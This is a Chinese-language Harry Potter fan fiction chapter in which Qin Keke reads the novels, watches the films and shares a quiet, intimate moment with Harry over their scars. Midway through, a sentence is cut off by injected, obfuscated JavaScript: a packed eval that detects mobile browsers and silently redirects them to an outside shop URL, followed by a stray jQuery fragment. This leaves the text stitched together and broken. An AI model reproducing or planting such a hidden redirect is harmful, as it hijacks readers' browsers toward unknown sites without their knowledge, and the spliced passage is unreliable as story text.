秦可可花了两天时间，把《哈利·波特》七本小说从头到尾读完了。
她几乎没怎么合眼。罗恩路过她房间的时候看到门缝里透出来的光，敲了敲门问她要不要吃点东西，她说不饿。哈利不在，据说被艾米丽叫走了，有工作上的事要处理。秦可可也没有问他什么时候回来。她只是一页一页地翻，翻到手机电量耗尽就插上充电线继续翻。
她不知道这些书里写的和哈利真实的经历到底有几分重合、几分是杜撰。但她读完最后一页的时候，合上手机，在黑暗里坐了很久。
那种感觉很复杂，像是被人往胸口塞了一团湿透的棉花，湿漉漉、沉甸甸、堵得慌。她想起自己在主题公园里看到的那个假的霍格沃茨，想起那些穿着校袍合影的游客，想起哈利站在不远处看着那个扮演自己的童星时脸上的表情。那个表情她当时没看懂，现在她觉得自己好像懂了。
自己的痛苦被大众娱乐化，自己的创伤变成了儿童睡前的“童话”，麻瓜贩卖着他的过往，赚的盆满钵满，而他，站在现实和虚幻的交界线上，不知自己该何去何从。
他本该有爱他的父母。本该在戈德里克山谷长大，有溺爱他的教父陪骑扫帚，有许多和他一样的小巫师做朋友。他本可以快快乐乐地进入霍格沃茨，像任何一个普通巫师家庭的孩子一样。但他的一切都被摧毁了，因为一句可笑的预言。他被人夺走父母、夺走童年、夺走本可以属于他的所有平静。看似十一岁以前他住在碗橱里十分悲惨，十一岁时他被带到霍格沃茨获得新生，但真的是新生吗？充满死亡的新生吗？他救了一个又一个的人，但那些救下来的东西里没有一样是他自己的。
可他还是在救。他一直在救。他没有变成内心扭曲想要报复世界的人。秦可可想了想，觉得自己做不到。如果她是他，她不知道自己会变成什么样子。
最让她不舒服的是最后一章。十九年后，一切平静，一切安好，像是什么都没有发生过，历经沧桑的哈利成家立业，生儿育女，云淡风轻地笑看过往。那太圣人了吧。书里的那个人仿佛没有创伤，仿佛那些经历只是让他变得更成熟、更坚定，而没有留下任何裂痕。秦可可看着那几行字，觉得违和。那种平静让她感到一种隐隐的不安——像在掩盖什么没有愈合的东西。
她不知道怎么面对哈利。她本来已经不知道怎么面对他，现在更不知道了。读完小说之后，她心里多了一些东西，但那些东西不是答案——是更多的问号，以更加黏稠、更加难以剥落的方式附着在她关于他的印象上。她不知道自己该以什么样的姿态站在他面前了。
同情？哈利他似乎并不需要同情。崇拜？他好像很讨厌“救世之星”的名头。从不知真假的书本去了解一个人，然后带着这不知真假的印象去面对现实中的人，真的合适吗？
第三天，她开始看电影。坐在客厅的沙发上，把手机架在小茶几上，一部接一部地放。罗恩陪她看了第一部，全程捂嘴忍笑，发出咯咯的声音，引得秦可可频频回头看他。当看到第二部的时候，罗恩扛不住了，说“那个假的我演得太傻”然后躲回了房间。秦可可没拦他，她继续看。
哈利不在。他这几天一直不在，据说是赫敏带着英国魔法部的访问团来美国了，主要处理跨国合作和抓捕使徒的事。哈利在纽约和洛杉矶之间来回跑，常常回来的时候她已经睡了，她醒来的时候他已经走了。她不知道他是不是在躲她。她也没有问。
电影给她的触动没有小说大，不知是不是因为她已经看过了一遍小说。但她发现了一件奇怪的事——即使没有字幕，她也能听懂电影里的每一句台词。她一开始以为是自己的英语听力变好了，毕竟她在这里待了快一个月，整天浸泡在英语环境里。但她越听越觉得不对劲，那不是“听懂”的感觉，那是“我记得”的感觉。每一句台词出来之前，她已经知道下一句要说什么了。她的嘴比她的脑子先动，像是一种被刻进肌肉里的记忆。
她蹲在电视机前，手里举着在环球影城买的那根假魔杖，跟着电影里的台词一句一句地念。
“……哈哈哈，他还挺会玩的呢，爸爸妈妈还好吗——阿瓦达……”
她捏着嗓子，模仿贝拉特里克斯那种神经质的尖利语气，双手疯疯癫癫地在空中挥舞，手里拿着假魔杖在空中划了一下，然后她听到身后传来一个声音。
“你在干什么？”
秦可可僵住了。她缓缓转过头，看到哈利站在客厅门口，手里拎着一只公文包，外套还穿着，像是刚进门。他看着她的表情很难形容，像是困惑、好笑、尴尬和某种更复杂的东西混在一起。秦可可的脸从脖子根开始烧起来，迅速蔓延到耳尖，蔓延到面颊——她刚刚蹲在电视机前面模仿一个疯狂女巫的台词，手里还举着一根假魔杖，电视里贝拉特里克斯疯狂的笑声还在回荡，这个画面在任何解释下都不可能显得体面。
她试图站起来，腿蹲麻了，趔趄了一下。她把手里的假魔杖往身后藏了藏，又觉得这个动作更蠢了，于是只能硬着头皮开口：“……窝在练英语听力。”
“你用贝拉特里克斯练英语听力？”
“……贝拉特里克斯也是英语。”
“练习阿瓦达索命？”哈利扬起眉毛。
“嗯……这个魔杖只能拿来换台……”
秦可可拿出藏在身后的魔杖，对着电视挥舞了一下，电影暂停了。她的脚更麻了，索性一屁股坐在了地板上。
哈利看着她，嘴角压了一下，然后他低下头，像是在忍什么。秦可可看到他垂下的睫毛，松了一口气——那至少不是皱眉，不是沉默。他似乎在她摆烂坐在地板上假装无事发生的时候，正在做出一个他自己也未必预料到了的选择——不是后退，而是一种他自己还没有命名的、试图留在她视线里的动作。
他走到她身边，把外套脱下来搭在沙发靠背上。电视屏幕上只剩一片蓝色的待机画面。秦可可蹲在地上戳着那根假魔杖，似乎觉得地毯上的花纹很有意思。
“要练就练别的，我不想被美国的巫师怀疑，我们英国人天天躲起来练阿瓦达索命。”
现实与虚幻再次交汇，秦可可咬着嘴唇，丢开了手中的假魔杖。
“窝这两天把书看完了。”她说，声音比她自己预想的更平静一些。
哈利揉着自己的太阳穴：“全部？”
“嗯。”
“什么感觉？”
秦可可沉默了一会儿，终于说：“心疼。”
哈利没有接话。他按揉太阳穴的手停住了，像是秦可可刚刚给他来了一发通通石化。秦可可看着他的侧脸，不知道该不该继续说下去。她其实还想说更多——关于十九年后的那一章、关于那种让她觉得违和的平静、关于她无法理解一个人怎么可能经历了那些事却没有裂痕——但她没有说出口。她只是抱着膝盖坐在沙发旁边的地板上，用下巴抵着膝盖。
“我明天想去找艾米·加纳博士再试试。”
哈利终于被解除了定身，他转过头看她：“不用勉强。”
“我觉得可以去了。”她说，“我有信心。”
哈利沉默了几秒，然后说：“你确定？”
秦可可点点头。她想跟他说关于电影台词的事——她能听懂每一句，她能提前说出来，她不记得自己看过这些电影多少次，但她的身体替她记得。她也没注意到自己的口音也没了，现在的她，说着一口与电影里一样的标准发音。她张了张嘴，还没来得及开口，哈利已经站了起来。
他走到她面前，低头看着她。她坐在地板上，他站着，这个高度差让他得弯下腰才能看清她的脸。他的目光落在她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852410|211835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼角下方那道已经变得很淡的疤痕上，那是机场卫生间留下的，现在已经几乎看不出来了。他看着她，想起那一天。她在洗手间里蹲在地上，脸上有血，她看到他来了，冷漠地对他说“谢谢泥救了窝”，语气客气得像对一个陌生人。从那天起，她开始退后。他以为只要给她时间，她会愿意重新靠近。但她没有。她只是在阅读那些关于他的故事，试图通过那本书找到靠近他的方式——而那些书里甚至没有写下他真正需要被理解的那部分。
他能感觉到她正在靠近一个他自己也无法确定的终点——等他完全确认了自己想说的那件事时，她可能已经不在那里了。他在这段关系中停留的时间越长，靠近她的方式就越是无法用言语表述。他不知道该怎么告诉她，但他知道，如果她想要离开，他会放她走。他现在能做的，只有在她消失前，再贪恋地多看几眼。
他抬起手，悬停在她脸侧。这一次，他没有收回。
他的指尖落在她眼角下方那道很浅的痕迹上。轻得像怕碰碎什么。秦可可没有动。她感觉到他指腹的温度，隔着皮肤，很轻地触了一下她几乎已经忘记的那道印记。他想起她离开的方向、想起她蹲在地上哭过的时刻、想起她在他胸前无声地流泪——那些他从远处看着的时刻，没有一次他能真正走进她所在的地方。她的疤痕很轻，但他的手指落上去时，仿佛他正在触碰那道将秦可可与他分割开来的深渊。
秦可可也在看着哈利，几乎是在他抬手的同时也抬起手，指尖把他额前散落下来的黑发向上撩开。额前空空的，皮肤光滑，没有闪电状的疤痕。
“这里，不是应该有疤吗？”
“原来有。”哈利轻声答道，“后来，我把它抹除了。”
秦可可读懂了哈利没有说出的话，那道疤对于他来说，不是什么荣誉的象征，而是祭奠他父母的墓碑。
她的手指停在那里，她触碰的位置正是他所失去的某部分的起点——她不相信那道伤疤真的能消失得了无痕迹。那些她读过的疼痛，本该在他身上留下比皮肤更深的东西。她想触碰的是那些她没有见过但依然存在于此的部分。
秦可可的指腹很凉，触到哈利额前皮肤的时候，他下意识屏住了呼吸。他看不见她的手，只能感觉到她的手指拂过他的额头，像是在寻找什么，又像是在确认什么。他没有躲开。他甚至不知道自己的呼吸停了半拍。然后他握住了她的手腕，很轻，没有用力，只是停在那里。他感觉到她正以某种他尚不确定该如何命名的方式靠近他，而她的手腕正停在他的掌心里，这是他现在唯一确定的事。那一段时间很短——可能只有几秒钟——但他没有让这段时间更接近他想要抵达的位置，他只是停留在那里，既不向她靠近，也不后退。
几秒后，他松开手，放开了她的手腕，停了一下，抬手轻轻碰了碰她的发顶。
“早点休息。”他说，“明天我陪你去。”
哈利转身走了。秦可可坐在地板上，那根假魔杖还放在脚边的地毯上，电视屏幕还是蓝色的待机画面。她什么都没说，也没有动——只是坐在原地，感觉到头顶还残留着那个触碰的温热，手腕上他握过的地方留下的余温，像两枚印记正在缓慢地沉入她的灵魂之中。她低头看着自己的手，指尖上还留着他额前皮肤的触感，那里什么都没有——没有伤疤，没有痕迹，只有他的皮肤和他的温度。
秦可可不确定自己是否触碰到了什么。她只知道，当她触碰他的伤疤时，他握住了她的手腕，他没有后退。他在那里停顿了片刻，像是一个在离开前想要确认她是否还在原地的人。他允许她触碰愿意向她敞开的位置——一个已经消失了痕迹的、他曾经存在的证明。她不知道他是否希望她继续停留，因为他的手又松开了。她只能尽力去记住那个瞬间，那个他向她敞开心灵的那个瞬间。